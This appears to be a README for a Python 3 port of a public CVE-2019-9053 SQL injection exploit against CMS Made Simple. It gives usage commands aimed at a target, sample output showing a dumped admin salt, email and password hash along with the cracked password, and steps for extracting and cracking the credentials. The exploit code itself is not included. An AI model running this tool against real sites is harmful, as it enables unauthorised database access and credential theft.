CVE-2019-9053 — CMS Made Simple SQL Injection (Python 3)

A Python 3 port of the time-based blind SQL injection exploit targeting CMS Made Simple <= 2.2.9.
Original exploit by Daniele Scanu @ Certimeter Group.

Vulnerability

The News module fails to sanitize the m1_idlist GET parameter, allowing an unauthenticated attacker to extract sensitive data from the database character by character using time delays.

Requirements

• Python 3.6+
• pip packages:

pip install requests termcolor

Usage

Basic — dump credentials only

python3 CVE-2019-9053_py3.py -u http://target/cms

With password cracking

python3 CVE-2019-9053_py3.py -u http://target/cms --crack -w /path/to/wordlist.txt

Full options

python3 CVE-2019-9053_py3.py --help

Example

python3 CVE-2019-9053_py3.py -u http://10.49.164.146/simple/ --crack -w /usr/share/wordlists/rockyou.txt

Expected output:

[+] Salt for password found: 1234abcd
[+] Username found: admin
[+] Email found: [email protected]
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Password cracked: password123

How It Works

1. Salt dump — queries cms_siteprefs table for the sitemask value (the password salt)
2. Username dump — extracts the username of user_id = 1 from cms_users
3. Email dump — extracts the email of user_id = 1 from cms_users
4. Password dump — extracts the MD5 password hash of user_id = 1 from cms_users
5. Crack (optional) — computes MD5(salt + wordlist_entry) for each line and compares against the dumped hash

The injection uses SELECT SLEEP(N) to infer each character — if the response is delayed, the guessed character is correct.

Tip: If the script is slow or unreliable, increase the TIME variable inside the script to account for network latency.

Python 3 Changes from Original

References

• Exploit-DB #46635 — Original exploit
• NVD — CVE-2019-9053
• CMS Made Simple

License

This project is for educational use only. Refer to the original exploit's licensing terms on Exploit-DB.